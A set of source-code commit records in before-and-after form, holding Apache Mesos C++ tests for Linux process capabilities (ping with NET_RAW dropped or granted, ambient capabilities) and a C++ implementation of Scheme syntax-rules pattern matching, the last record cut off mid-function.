msgpack_pack_raw_body(pk, "DSNEW", 5);
msgpack_pack_raw(pk, name_.size());
msgpack_pack_raw_body(pk, name_.c_str(), name_.size());
msgpack_pack_unsigned_int(pk, num_columns_);
msgpack_packer_free(pk);
return buffer;
}
}
}
}
<|endoftext|> |
<commit_before>// Licensed to the Apache Software Foundation (ASF) under one
// or more contributor license agreements. See the NOTICE file
// distributed with this work for additional information
// regarding copyright ownership. The ASF licenses this file
// to you under the Apache License, Version 2.0 (the
// "License"); you may not use this file except in compliance
// with the License. You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#include <errno.h>
#include <set>
#include <string>
#include <vector>
#include <process/gtest.hpp>
#include <process/subprocess.hpp>
#include <stout/gtest.hpp>
#include <stout/os.hpp>
#include "linux/capabilities.hpp"
#include "tests/mesos.hpp"
#include "tests/utils.hpp"
#include "tests/containerizer/capabilities_test_helper.hpp"
using std::set;
using std::string;
using std::vector;
using process::Future;
using process::Subprocess;
using mesos::internal::capabilities::Capabilities;
using mesos::internal::capabilities::Capability;
using mesos::internal::capabilities::ProcessCapabilities;
namespace mesos {
namespace internal {
namespace tests {
constexpr char CAPS_TEST_UNPRIVILEGED_USER[] = "nobody";
class CapabilitiesTest : public ::testing::Test
{
public:
// Launch 'ping' using the given capabilities and user.
Try<Subprocess> ping(
const set<Capability>& capabilities,
const Option<string>& user = None())
{
CapabilitiesTestHelper helper;
helper.flags.user = user;
helper.flags.capabilities = capabilities::convert(capabilities);
vector<string> argv = {
"test-helper",
CapabilitiesTestHelper::NAME
};
return subprocess(
getTestHelperPath("test-helper"),
argv,
Subprocess::FD(STDIN_FILENO),
Subprocess::FD(STDOUT_FILENO),
Subprocess::FD(STDERR_FILENO),
&helper.flags);
}
};
// This test verifies that an operation ('ping') that needs `NET_RAW`
// capability does not succeed if the capability `NET_RAW` is dropped.
TEST_F(CapabilitiesTest, ROOT_PingWithNoNetRawCaps)
{
Try<Capabilities> manager = Capabilities::create();
ASSERT_SOME(manager);
Try<ProcessCapabilities> capabilities = manager->get();
ASSERT_SOME(capabilities);
capabilities->drop(capabilities::PERMITTED, capabilities::NET_RAW);
Try<Subprocess> s = ping(capabilities->get(capabilities::PERMITTED));
ASSERT_SOME(s);
AWAIT_EXPECT_WEXITSTATUS_NE(0, s->status());
}
// This test verifies that the effective capabilities of a process can
// be controlled after `setuid` system call. An operation ('ping')
// that needs `NET_RAW` capability does not succeed if the capability
// `NET_RAW` is dropped.
TEST_F(CapabilitiesTest, ROOT_PingWithNoNetRawCapsChangeUser)
{
Try<Capabilities> manager = Capabilities::create();
ASSERT_SOME(manager);
Try<ProcessCapabilities> capabilities = manager->get();
ASSERT_SOME(capabilities);
capabilities->drop(capabilities::PERMITTED, capabilities::NET_RAW);
Try<Subprocess> s = ping(
capabilities->get(capabilities::PERMITTED),
CAPS_TEST_UNPRIVILEGED_USER);
ASSERT_SOME(s);
AWAIT_EXPECT_WEXITSTATUS_NE(0, s->status());
}
// This Test verifies that 'ping' would work with just the minimum
// capability it requires ('NET_RAW' and potentially 'NET_ADMIN').
//
// NOTE: Some Linux distributions install `ping` with `NET_RAW` and
// `NET_ADMIN` in both the effective and permitted set in the file
// capabilities. We only require `NET_RAW` for our tests, while
// `NET_RAW` is needed for setting packet marks
// (https://bugzilla.redhat.com/show_bug.cgi?id=802197). In such
// distributions, setting 'NET_ADMIN' is required to bypass the
// 'capability-dumb' check by the kernel. A 'capability-dump'
// application is a traditional set-user-ID-root program that has been
// switched to use file capabilities, but whose code has not been
// modified to understand capabilities. For such applications, the
// kernel checks if the process obtained all permitted capabilities
// that were specified in the file permitted set during 'exec'.
TEST_F(CapabilitiesTest, ROOT_PingWithJustNetRawSysAdminCap)
{
set<Capability> capabilities = {
capabilities::NET_RAW,
capabilities::NET_ADMIN
};
Try<Subprocess> s = ping(capabilities, CAPS_TEST_UNPRIVILEGED_USER);
ASSERT_SOME(s);
AWAIT_EXPECT_WEXITSTATUS_EQ(0, s->status());
}
TEST(AmbientCapabilities, DISABLED_Supported)
{
Try<Capabilities> manager = Capabilities::create();
ASSERT_SOME(manager);
Try<os::UTSInfo> uname = os::uname();
ASSERT_SOME(uname);
// Trim the kernel version to 2 component because Version::parse() can't
// deal with kernel versions like "4.10.14-200.fc25.x86_64".
vector<string> components = strings::split(uname->release, ".");
components.resize(2);
Try<Version> version = Version::parse(strings::join(".", components));
ASSERT_SOME(version) << " parsing kernel version "
<< strings::join(".", components);
// Ambient capabilities were introduced in Linux 4.3, so if the kernel is
// later than that we expect them to be supported.
if (version.get() < Version(4, 3, 0)) {
EXPECT_FALSE(manager->ambientCapabilitiesSupported);
} else {
EXPECT_TRUE(manager->ambientCapabilitiesSupported);
}
}
TEST(AmbientCapabilities, ROOT_SetAmbient)
{
Try<Capabilities> manager = Capabilities::create();
ASSERT_SOME(manager);
ProcessCapabilities wanted;
Try<ProcessCapabilities> initial = manager->get();
ASSERT_SOME(initial);
// Setting just the ambient set should fail.
wanted.set(capabilities::AMBIENT, {capabilities::CHOWN});
EXPECT_ERROR(manager->set(wanted));
// Keep the full bounding and permitted capabilities because we want
// to be able to recover privilege later.
wanted.set(capabilities::BOUNDING, initial->get(capabilities::BOUNDING));
wanted.set(capabilities::PERMITTED, initial->get(capabilities::PERMITTED));
wanted.set(
capabilities::INHERITABLE,
{capabilities::SETPCAP, capabilities::CHOWN});
wanted.set(
capabilities::EFFECTIVE,
{capabilities::SETPCAP, capabilities::CHOWN});
if (manager->ambientCapabilitiesSupported) {
wanted.set(
capabilities::AMBIENT,
{capabilities::SETPCAP, capabilities::CHOWN});
}
// Setting ambient in conjuction with permitted and
// interitable should succeed.
EXPECT_SOME(manager->set(wanted)) << wanted;
// We should now have the capabilities that we set.
Try<ProcessCapabilities> actual = manager->get();
EXPECT_SOME_EQ(wanted, actual)
<< "wanted capabilities: " << wanted << "\n"
<< "actual capabilities: " << actual.get();
ASSERT_SOME(manager->set(initial.get())) << initial.get();
// And check that we did it right.
actual = manager->get();
ASSERT_SOME_EQ(initial.get(), actual)
<< "wanted capabilities: " << initial.get() << "\n"
<< "actual capabilities: " << actual.get();
}
} // namespace tests {
} // namespace internal {
} // namespace mesos {
<commit_msg>Remove unnecessary test logging.<commit_after>// Licensed to the Apache Software Foundation (ASF) under one
// or more contributor license agreements. See the NOTICE file
// distributed with this work for additional information
// regarding copyright ownership. The ASF licenses this file
// to you under the Apache License, Version 2.0 (the
// "License"); you may not use this file except in compliance
// with the License. You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#include <errno.h>
#include <set>
#include <string>
#include <vector>
#include <process/gtest.hpp>
#include <process/subprocess.hpp>
#include <stout/gtest.hpp>
#include <stout/os.hpp>
#include "linux/capabilities.hpp"
#include "tests/mesos.hpp"
#include "tests/utils.hpp"
#include "tests/containerizer/capabilities_test_helper.hpp"
using std::set;
using std::string;
using std::vector;
using process::Future;
using process::Subprocess;
using mesos::internal::capabilities::Capabilities;
using mesos::internal::capabilities::Capability;
using mesos::internal::capabilities::ProcessCapabilities;
namespace mesos {
namespace internal {
namespace tests {
constexpr char CAPS_TEST_UNPRIVILEGED_USER[] = "nobody";
class CapabilitiesTest : public ::testing::Test
{
public:
// Launch 'ping' using the given capabilities and user.
Try<Subprocess> ping(
const set<Capability>& capabilities,
const Option<string>& user = None())
{
CapabilitiesTestHelper helper;
helper.flags.user = user;
helper.flags.capabilities = capabilities::convert(capabilities);
vector<string> argv = {
"test-helper",
CapabilitiesTestHelper::NAME
};
return subprocess(
getTestHelperPath("test-helper"),
argv,
Subprocess::FD(STDIN_FILENO),
Subprocess::FD(STDOUT_FILENO),
Subprocess::FD(STDERR_FILENO),
&helper.flags);
}
};
// This test verifies that an operation ('ping') that needs `NET_RAW`
// capability does not succeed if the capability `NET_RAW` is dropped.
TEST_F(CapabilitiesTest, ROOT_PingWithNoNetRawCaps)
{
Try<Capabilities> manager = Capabilities::create();
ASSERT_SOME(manager);
Try<ProcessCapabilities> capabilities = manager->get();
ASSERT_SOME(capabilities);
capabilities->drop(capabilities::PERMITTED, capabilities::NET_RAW);
Try<Subprocess> s = ping(capabilities->get(capabilities::PERMITTED));
ASSERT_SOME(s);
AWAIT_EXPECT_WEXITSTATUS_NE(0, s->status());
}
// This test verifies that the effective capabilities of a process can
// be controlled after `setuid` system call. An operation ('ping')
// that needs `NET_RAW` capability does not succeed if the capability
// `NET_RAW` is dropped.
TEST_F(CapabilitiesTest, ROOT_PingWithNoNetRawCapsChangeUser)
{
Try<Capabilities> manager = Capabilities::create();
ASSERT_SOME(manager);
Try<ProcessCapabilities> capabilities = manager->get();
ASSERT_SOME(capabilities);
capabilities->drop(capabilities::PERMITTED, capabilities::NET_RAW);
Try<Subprocess> s = ping(
capabilities->get(capabilities::PERMITTED),
CAPS_TEST_UNPRIVILEGED_USER);
ASSERT_SOME(s);
AWAIT_EXPECT_WEXITSTATUS_NE(0, s->status());
}
// This Test verifies that 'ping' would work with just the minimum
// capability it requires ('NET_RAW' and potentially 'NET_ADMIN').
//
// NOTE: Some Linux distributions install `ping` with `NET_RAW` and
// `NET_ADMIN` in both the effective and permitted set in the file
// capabilities. We only require `NET_RAW` for our tests, while
// `NET_RAW` is needed for setting packet marks
// (https://bugzilla.redhat.com/show_bug.cgi?id=802197). In such
// distributions, setting 'NET_ADMIN' is required to bypass the
// 'capability-dumb' check by the kernel. A 'capability-dump'
// application is a traditional set-user-ID-root program that has been
// switched to use file capabilities, but whose code has not been
// modified to understand capabilities. For such applications, the
// kernel checks if the process obtained all permitted capabilities
// that were specified in the file permitted set during 'exec'.
TEST_F(CapabilitiesTest, ROOT_PingWithJustNetRawSysAdminCap)
{
set<Capability> capabilities = {
capabilities::NET_RAW,
capabilities::NET_ADMIN
};
Try<Subprocess> s = ping(capabilities, CAPS_TEST_UNPRIVILEGED_USER);
ASSERT_SOME(s);
AWAIT_EXPECT_WEXITSTATUS_EQ(0, s->status());
}
TEST(AmbientCapabilities, DISABLED_Supported)
{
Try<Capabilities> manager = Capabilities::create();
ASSERT_SOME(manager);
Try<os::UTSInfo> uname = os::uname();
ASSERT_SOME(uname);
// Trim the kernel version to 2 component because Version::parse() can't
// deal with kernel versions like "4.10.14-200.fc25.x86_64".
vector<string> components = strings::split(uname->release, ".");
components.resize(2);
Try<Version> version = Version::parse(strings::join(".", components));
ASSERT_SOME(version) << " parsing kernel version "
<< strings::join(".", components);
// Ambient capabilities were introduced in Linux 4.3, so if the kernel is
// later than that we expect them to be supported.
if (version.get() < Version(4, 3, 0)) {
EXPECT_FALSE(manager->ambientCapabilitiesSupported);
} else {
EXPECT_TRUE(manager->ambientCapabilitiesSupported);
}
}
TEST(AmbientCapabilities, ROOT_SetAmbient)
{
Try<Capabilities> manager = Capabilities::create();
ASSERT_SOME(manager);
ProcessCapabilities wanted;
Try<ProcessCapabilities> initial = manager->get();
ASSERT_SOME(initial);
// Setting just the ambient set should fail.
wanted.set(capabilities::AMBIENT, {capabilities::CHOWN});
EXPECT_ERROR(manager->set(wanted));
// Keep the full bounding and permitted capabilities because we want
// to be able to recover privilege later.
wanted.set(capabilities::BOUNDING, initial->get(capabilities::BOUNDING));
wanted.set(capabilities::PERMITTED, initial->get(capabilities::PERMITTED));
wanted.set(
capabilities::INHERITABLE,
{capabilities::SETPCAP, capabilities::CHOWN});
wanted.set(
capabilities::EFFECTIVE,
{capabilities::SETPCAP, capabilities::CHOWN});
if (manager->ambientCapabilitiesSupported) {
wanted.set(
capabilities::AMBIENT,
{capabilities::SETPCAP, capabilities::CHOWN});
}
// Setting ambient in conjuction with permitted and
// interitable should succeed.
EXPECT_SOME(manager->set(wanted)) << wanted;
// We should now have the capabilities that we set.
Try<ProcessCapabilities> actual = manager->get();
EXPECT_SOME_EQ(wanted, actual);
ASSERT_SOME(manager->set(initial.get())) << initial.get();
// And check that we did it right.
actual = manager->get();
ASSERT_SOME_EQ(initial.get(), actual);
}
} // namespace tests {
} // namespace internal {
} // namespace mesos {
<|endoftext|> |
<commit_before>#include <iterator>
#include <unordered_set>
#include <unordered_map>
#include <vector>
#include "builtin_extra.hh"
#include "cons_util.hh"
#include "equality.hh"
#include "printer.hh"
#include "s_rules.hh"
#include "s_closure.hh"
#include "symbol.hh"
#include "zs_error.hh"
#include "zs_memory.hh"
using namespace std;
namespace {
// internal types
typedef std::unordered_map<Lisp_ptr, Lisp_ptr, EqHashObj, EqObj> EqHashMap;
typedef std::unordered_set<Lisp_ptr, EqHashObj, EqObj> MatchSet;
typedef std::unordered_map<Lisp_ptr, SyntacticClosure*, EqHashObj, EqObj> ExpandMap;
// error classes
struct try_match_failed{};
struct expand_failed {};
bool is_literal_identifier(const SyntaxRules& sr, Lisp_ptr p){
for(auto i = begin(sr.literals()); i; ++i){
if(eq_internal(*i, p)){
return true;
}
}
return false;
}
bool is_ellipsis(Lisp_ptr p){
if(p.tag() == Ptr_tag::symbol){
return p.get<Symbol*>()->name() == "...";
}else if(p.tag() == Ptr_tag::syntactic_closure){
return is_ellipsis(p.get<SyntacticClosure*>()->expr());
}else{
return false;
}
}
void push_tail_cons_list_nl(Lisp_ptr p, Lisp_ptr value){
if(p.tag() != Ptr_tag::cons)
throw_zs_error(p, "internal %s: the passed list is a dotted list!\n", __func__);
auto c = p.get<Cons*>();
if(!c)
throw_zs_error(p, "internal %s: the passed list is an empty list!\n", __func__);
if(nullp(cdr(c))){
rplacd(c, make_cons_list({value}));
}else{
push_tail_cons_list_nl(cdr(c), value);
}
}
void push_tail_cons_list(Lisp_ptr* p, Lisp_ptr value){
if(nullp(*p)){
*p = make_cons_list({value});
}else{
push_tail_cons_list_nl(*p, value);
}
}
Lisp_ptr pick_first(Lisp_ptr p){
if(p.tag() == Ptr_tag::cons){
auto c = p.get<Cons*>();
if(!c) throw_zs_error({}, "the pattern is empty list");
return car(c);
}else if(p.tag() == Ptr_tag::vector){
auto v = p.get<Vector*>();
assert(v);
if(v->empty()) throw_zs_error({}, "the pattern is empty vector");
return (*v)[0];
}else{
throw_zs_error(p, "informal pattern passed!");
}
}
void check_pattern(const SyntaxRules& sr, Lisp_ptr p, MatchSet tab){
if(identifierp(p)){
if(is_literal_identifier(sr, p)){
// literal identifier
return;
}
// pattern variable
if(tab.find(p) != tab.end()){
throw_zs_error(p, "duplicated pattern variable!");
}
tab.insert(p);
return;
}else if(p.tag() == Ptr_tag::cons){
if(nullp(p)) return;
auto i = begin(p);
for(; i; ++i){
check_pattern(sr, *i, tab);
}
check_pattern(sr, i.base(), tab);
}else if(p.tag() == Ptr_tag::vector){
auto v = p.get<Vector*>();
for(auto i : *v){
check_pattern(sr, i, tab);
}
}else{
return;
}
}
void check_pattern(const SyntaxRules& sr, Lisp_ptr p){
pick_first(p);
check_pattern(sr, p, {});
}
template<typename DefaultGen>
void ensure_binding(EqHashMap& match_obj,
const SyntaxRules& sr, Lisp_ptr ignore_ident, Lisp_ptr pattern,
const DefaultGen& default_gen_func){
if(identifierp(pattern)){
if(is_literal_identifier(sr, pattern)){
return; // literal identifier
}
// non-literal identifier
if(!eq_internal(ignore_ident, pattern)){
match_obj.insert({pattern, default_gen_func()});
}
return;
}else if(pattern.tag() == Ptr_tag::cons){
if(nullp(pattern)){
return;
}
auto p_i = begin(pattern);
for(; p_i; ++p_i){
// checks ellipsis
if(is_ellipsis(*p_i)){
return;
}
ensure_binding(match_obj, sr, ignore_ident, *p_i, default_gen_func);
}
if(!nullp(p_i.base())){
// dotted list case
ensure_binding(match_obj, sr, ignore_ident, p_i.base(), default_gen_func);
}
}else if(pattern.tag() == Ptr_tag::vector){
auto p_v = pattern.get<Vector*>();
for(auto p : *p_v){
ensure_binding(match_obj, sr, ignore_ident, p, default_gen_func);
}
}else{
return;
}
}
EqHashMap
try_match_1(const SyntaxRules& sr, Lisp_ptr ignore_ident, Lisp_ptr pattern,
Env* form_env, Lisp_ptr form){
if(identifierp(pattern)){
if(is_literal_identifier(sr, pattern)){
// literal identifier
if(identifierp(form) && eq_internal(pattern, form)){
return {};
}else{
throw try_match_failed();
}
}
// non-literal identifier
EqHashMap match_obj;
if(!eq_internal(ignore_ident, pattern)){
match_obj.insert({pattern, form});
}
return match_obj;
}else if(pattern.tag() == Ptr_tag::cons){
if(form.tag() != Ptr_tag::cons){
throw try_match_failed();
}
EqHashMap match_obj;
auto p_i = begin(pattern);
auto f_i = begin(form);
for(; p_i; ++p_i){
// checks ellipsis
auto p_n = next(p_i);
if((p_n) && is_ellipsis(*p_n)){
if(eq_internal(*p_i, ignore_ident)){
throw_zs_error({}, "'...' is appeared following the first identifier");
}
auto p_e = end(pattern);
auto f_e = end(form);
EqHashMap acc_map;
ensure_binding(acc_map, sr, ignore_ident, *p_i,
[](){ return Cons::NIL; });
for(; f_i; ++f_i){
auto m = try_match_1(sr, ignore_ident, *p_i, form_env, *f_i);
for(auto i : m){
auto place = acc_map.find(i.first);
assert(place->second.tag() == Ptr_tag::cons);
push_tail_cons_list(&place->second, i.second);
}
}
match_obj.insert(begin(acc_map), end(acc_map));
auto tail = try_match_1(sr, ignore_ident, p_e.base(), form_env, f_e.base());
match_obj.insert(begin(tail), end(tail));
return match_obj;
}
if(!f_i) break; // this check is delayed to here, for checking the ellipsis.
auto m = try_match_1(sr, ignore_ident, *p_i, form_env, *f_i);
match_obj.insert(begin(m), end(m));
assert(f_i);
++f_i;
}
assert(!p_i || !f_i);
if(!nullp(p_i.base())){
if(p_i.base().tag() == Ptr_tag::cons){
throw try_match_failed();
}
auto m = try_match_1(sr, ignore_ident, p_i.base(), form_env, f_i.base());
match_obj.insert(begin(m), end(m));
return match_obj;
}else if(!p_i && !f_i){
return match_obj;
}else{
throw try_match_failed();
}
}else if(pattern.tag() == Ptr_tag::vector){
if(form.tag() != Ptr_tag::vector){
throw try_match_failed();
}
auto p_v = pattern.get<Vector*>();
auto f_v = form.get<Vector*>();
EqHashMap match_obj;
auto p_i = begin(*p_v), p_e = end(*p_v);
auto f_i = begin(*f_v), f_e = end(*f_v);
for(; p_i != p_e; ++p_i){
// checks ellipsis
auto p_n = next(p_i);
if((p_n != p_e) && is_ellipsis(*p_n)){
if(eq_internal(*p_i, ignore_ident)){
throw_zs_error({}, "'...' is appeared following the first identifier");
}
// accumulating...
EqHashMap acc_map;
ensure_binding(acc_map, sr, ignore_ident, *p_i,
[](){ return Cons::NIL; });
for(; f_i != f_e; ++f_i){
auto m = try_match_1(sr, ignore_ident, *p_i, form_env, *f_i);
for(auto i : m){
auto place = acc_map.find(i.first);
assert(place->second.tag() == Ptr_tag::cons);
push_tail_cons_list(&place->second, i.second);
}
}
match_obj.insert(begin(acc_map), end(acc_map));
return match_obj;
}
if(f_i == f_e) break; // this check is delayed to here, for checking the ellipsis.
auto m = try_match_1(sr, ignore_ident, *p_i, form_env, *f_i);
match_obj.insert(begin(m), end(m));
assert(f_i != f_e);
++f_i;
}
assert((p_i == p_e) || (f_i == f_e));
if((p_i == p_e) && (f_i == f_e)){
return match_obj;
}else{
throw try_match_failed();
}
}else{
if(equal_internal(pattern, form)){
return {};
}else{
throw try_match_failed();
}
}
}
EqHashMap remake_matchobj(const EqHashMap& match_obj, int pick_depth){
EqHashMap ret;
for(auto i : match_obj){
if(i.second.tag() == Ptr_tag::cons){
ConsIter ci = begin(i.second);
std::advance(ci, pick_depth);
auto nthcdr = ci.base();
if(!nullp(nthcdr)){
ret.insert({i.first, nth_cons_list<0>(nthcdr)});
continue;
}
}
ret.insert({i.first, {}});
}
return ret;
}
Lisp_ptr expand(ExpandMap&, const EqHashMap&,
const SyntaxRules&, Lisp_ptr);
template<typename Iter, typename Fun>
Iter expand_seq(ExpandMap& expand_ctx,
const EqHashMap& match_obj,
const SyntaxRules& sr,
Iter i_begin,
Iter i_end,
Fun push_handler){
auto i = i_begin;
for(; i != i_end; ++i){
auto i_next = next(i);
// check ellipsis
if((i_next != i_end) && is_ellipsis(*i_next)){
int depth = 0;
while(1){
auto emap = remake_matchobj(match_obj, depth);
try{
auto ex = expand(expand_ctx, emap, sr, *i);
push_handler(ex);
++depth;
}catch(const expand_failed& e){
break;
}
}
++i;
}else{
auto ex = expand(expand_ctx, match_obj, sr, *i);
push_handler(ex);
}
}
return i;
}
Lisp_ptr expand(ExpandMap& expand_ctx,
const EqHashMap& match_obj,
const SyntaxRules& sr,
Lisp_ptr tmpl){
if(identifierp(tmpl)){
auto m_ret = match_obj.find(tmpl);
if(m_ret != match_obj.end()){
if(m_ret->second){
return m_ret->second;
}else{
throw expand_failed();
}
}
// close to pattern variable
if(tmpl.tag() == Ptr_tag::symbol){
if(is_literal_identifier(sr, tmpl)){
return tmpl;
}
auto iter = expand_ctx.find(tmpl);
if(iter != expand_ctx.end()){
return iter->second;
}else{
auto new_sc = zs_new<SyntacticClosure>(sr.env(), Cons::NIL, tmpl);
expand_ctx.insert({tmpl, new_sc});
return new_sc;
}
}else if(tmpl.tag() == Ptr_tag::syntactic_closure){
return tmpl;
}else{
UNEXP_DEFAULT();
}
}else if(tmpl.tag() == Ptr_tag::cons){
if(nullp(tmpl)) return tmpl;
GrowList gl;
auto last =
expand_seq(expand_ctx, match_obj, sr,
begin(tmpl), end(tmpl),
[&](Lisp_ptr ex){ gl.push(ex); });
auto ex = expand(expand_ctx, match_obj, sr, last.base());
return gl.extract_with_tail(ex);
}else if(tmpl.tag() == Ptr_tag::vector){
auto t_vec = tmpl.get<Vector*>();
Vector vec;
expand_seq(expand_ctx, match_obj, sr,
begin(*t_vec), end(*t_vec),
[&](Lisp_ptr ex){ vec.push_back(ex); });
return zs_new<Vector>(move(vec));
}else{
return tmpl;
}
}
} // namespace
constexpr ProcInfo SyntaxRules::sr_procinfo;
SyntaxRules::SyntaxRules(Env* e, Lisp_ptr lits, Lisp_ptr rls)
: env_(e), literals_(lits), rules_(rls), name_(){
for(auto i = begin(lits); i; ++i){
check_identifier_type(*i);
}
for(auto i = begin(rls); i; ++i){
auto pat_i = begin(*i);
auto tmpl_i = next(pat_i);
if(next(tmpl_i)){
throw_zs_error(*i, "invalid pattern: too long");
}
check_pattern(*this, *pat_i);
}
}
SyntaxRules::~SyntaxRules() = default;
Lisp_ptr SyntaxRules::apply(Lisp_ptr form, Env* form_env) const{
for(auto i = begin(rules()); i; ++i){
auto pat = nth_cons_list<0>(*i);
auto tmpl = nth_cons_list<1>(*i);
auto ignore_ident = pick_first(pat);
try{
auto match_ret = try_match_1(*this, ignore_ident, pat, form_env, form);
ExpandMap expand_ctx;
return expand(expand_ctx, match_ret, *this, tmpl);
}catch(const try_match_failed& e){
continue;
}catch(const expand_failed& e){
throw_zs_error(form, "expand failed!");
}
}
throw_zs_error(form, "no matching pattern found!");
}
<commit_msg>trivial refactoring s-rules<commit_after>#include <iterator>
#include <unordered_set>
#include <unordered_map>
#include <vector>
#include "builtin_extra.hh"
#include "cons_util.hh"
#include "equality.hh"
#include "printer.hh"
#include "s_rules.hh"
#include "s_closure.hh"
#include "symbol.hh"
#include "zs_error.hh"
#include "zs_memory.hh"
using namespace std;
namespace {
// internal types
typedef std::unordered_map<Lisp_ptr, Lisp_ptr, EqHashObj, EqObj> EqHashMap;
typedef std::unordered_set<Lisp_ptr, EqHashObj, EqObj> MatchSet;
typedef std::unordered_map<Lisp_ptr, SyntacticClosure*, EqHashObj, EqObj> ExpandMap;
// error classes
struct try_match_failed{};
struct expand_failed {};
bool is_literal_identifier(const SyntaxRules& sr, Lisp_ptr p){
for(auto i = begin(sr.literals()); i; ++i){
if(eq_internal(*i, p)){
return true;
}
}
return false;
}
bool is_ellipsis(Lisp_ptr p){
if(p.tag() == Ptr_tag::symbol){
return p.get<Symbol*>()->name() == "...";
}else if(p.tag() == Ptr_tag::syntactic_closure){
return is_ellipsis(p.get<SyntacticClosure*>()->expr());
}else{
return false;
}
}
void push_tail_cons_list_nl(Lisp_ptr p, Lisp_ptr value){
if(p.tag() != Ptr_tag::cons)
throw_zs_error(p, "internal %s: the passed list is a dotted list!\n", __func__);
auto c = p.get<Cons*>();
if(!c)
throw_zs_error(p, "internal %s: the passed list is an empty list!\n", __func__);
if(nullp(cdr(c))){
rplacd(c, make_cons_list({value}));
}else{
push_tail_cons_list_nl(cdr(c), value);
}
}
void push_tail_cons_list(Lisp_ptr* p, Lisp_ptr value){
if(nullp(*p)){
*p = make_cons_list({value});
}else{
push_tail_cons_list_nl(*p, value);
}
}
Lisp_ptr pick_first(Lisp_ptr p){
if(p.tag() == Ptr_tag::cons){
auto c = p.get<Cons*>();
if(!c) throw_zs_error({}, "the pattern is empty list");
return car(c);
}else if(p.tag() == Ptr_tag::vector){
auto v = p.get<Vector*>();
assert(v);
if(v->empty()) throw_zs_error({}, "the pattern is empty vector");
return (*v)[0];
}else{
throw_zs_error(p, "informal pattern passed!");
}
}
void check_pattern(const SyntaxRules& sr, Lisp_ptr p, MatchSet tab){
if(identifierp(p)){
if(is_literal_identifier(sr, p)){
// literal identifier
return;
}
// pattern variable
if(tab.find(p) != tab.end()){
throw_zs_error(p, "duplicated pattern variable!");
}
tab.insert(p);
return;
}else if(p.tag() == Ptr_tag::cons){
if(nullp(p)) return;
auto i = begin(p);
for(; i; ++i){
check_pattern(sr, *i, tab);
}
check_pattern(sr, i.base(), tab);
}else if(p.tag() == Ptr_tag::vector){
auto v = p.get<Vector*>();
for(auto i : *v){
check_pattern(sr, i, tab);
}
}else{
return;
}
}
void check_pattern(const SyntaxRules& sr, Lisp_ptr p){
pick_first(p);
check_pattern(sr, p, {});
}
template<typename DefaultGen>
void ensure_binding(EqHashMap& match_obj,
const SyntaxRules& sr, Lisp_ptr ignore_ident, Lisp_ptr pattern,
const DefaultGen& default_gen_func){
if(identifierp(pattern)){
if(is_literal_identifier(sr, pattern)){
return; // literal identifier
}
// non-literal identifier
if(!eq_internal(ignore_ident, pattern)){
match_obj.insert({pattern, default_gen_func()});
}
return;
}else if(pattern.tag() == Ptr_tag::cons){
if(nullp(pattern)){
return;
}
auto p_i = begin(pattern);
for(; p_i; ++p_i){
// checks ellipsis
if(is_ellipsis(*p_i)){
return;
}
ensure_binding(match_obj, sr, ignore_ident, *p_i, default_gen_func);
}
if(!nullp(p_i.base())){
// dotted list case
ensure_binding(match_obj, sr, ignore_ident, p_i.base(), default_gen_func);
}
}else if(pattern.tag() == Ptr_tag::vector){
auto p_v = pattern.get<Vector*>();
for(auto p : *p_v){
ensure_binding(match_obj, sr, ignore_ident, p, default_gen_func);
}
}else{
return;
}
}
EqHashMap
try_match_1(const SyntaxRules& sr, Lisp_ptr ignore_ident, Lisp_ptr pattern,
Env* form_env, Lisp_ptr form){
if(identifierp(pattern)){
if(is_literal_identifier(sr, pattern)){
// literal identifier
if(identifierp(form) && eq_internal(pattern, form)){
return {};
}else{
throw try_match_failed();
}
}
// non-literal identifier
EqHashMap match_obj;
if(!eq_internal(ignore_ident, pattern)){
match_obj.insert({pattern, form});
}
return match_obj;
}else if(pattern.tag() == Ptr_tag::cons){
if(form.tag() != Ptr_tag::cons){
throw try_match_failed();
}
EqHashMap match_obj;
auto p_i = begin(pattern);
auto f_i = begin(form);
for(; p_i; ++p_i){
// checks ellipsis
auto p_n = next(p_i);
if((p_n) && is_ellipsis(*p_n)){
if(eq_internal(*p_i, ignore_ident)){
throw_zs_error({}, "'...' is appeared following the first identifier");
}
auto p_e = end(pattern);
auto f_e = end(form);
EqHashMap acc_map;
ensure_binding(acc_map, sr, ignore_ident, *p_i,
[](){ return Cons::NIL; });
for(; f_i; ++f_i){
auto m = try_match_1(sr, ignore_ident, *p_i, form_env, *f_i);
for(auto i : m){
auto place = acc_map.find(i.first);
assert(place->second.tag() == Ptr_tag::cons);
push_tail_cons_list(&place->second, i.second);
}
}
match_obj.insert(begin(acc_map), end(acc_map));
auto tail = try_match_1(sr, ignore_ident, p_e.base(), form_env, f_e.base());
match_obj.insert(begin(tail), end(tail));
return match_obj;
}
if(!f_i) break; // this check is delayed to here, for checking the ellipsis.
auto m = try_match_1(sr, ignore_ident, *p_i, form_env, *f_i);
match_obj.insert(begin(m), end(m));
assert(f_i);
++f_i;
}
assert(!p_i || !f_i);
if(!nullp(p_i.base())){
if(p_i.base().tag() == Ptr_tag::cons){
throw try_match_failed();
}
auto m = try_match_1(sr, ignore_ident, p_i.base(), form_env, f_i.base());
match_obj.insert(begin(m), end(m));
return match_obj;
}else if(!p_i && !f_i){
return match_obj;
}else{
throw try_match_failed();
}
}else if(pattern.tag() == Ptr_tag::vector){
if(form.tag() != Ptr_tag::vector){
throw try_match_failed();
}
auto p_v = pattern.get<Vector*>();
auto f_v = form.get<Vector*>();
EqHashMap match_obj;
auto p_i = begin(*p_v), p_e = end(*p_v);
auto f_i = begin(*f_v), f_e = end(*f_v);
for(; p_i != p_e; ++p_i){
// checks ellipsis
auto p_n = next(p_i);
if((p_n != p_e) && is_ellipsis(*p_n)){
if(eq_internal(*p_i, ignore_ident)){
throw_zs_error({}, "'...' is appeared following the first identifier");
}
// accumulating...
EqHashMap acc_map;
ensure_binding(acc_map, sr, ignore_ident, *p_i,
[](){ return Cons::NIL; });
for(; f_i != f_e; ++f_i){
auto m = try_match_1(sr, ignore_ident, *p_i, form_env, *f_i);
for(auto i : m){
auto place = acc_map.find(i.first);
assert(place->second.tag() == Ptr_tag::cons);
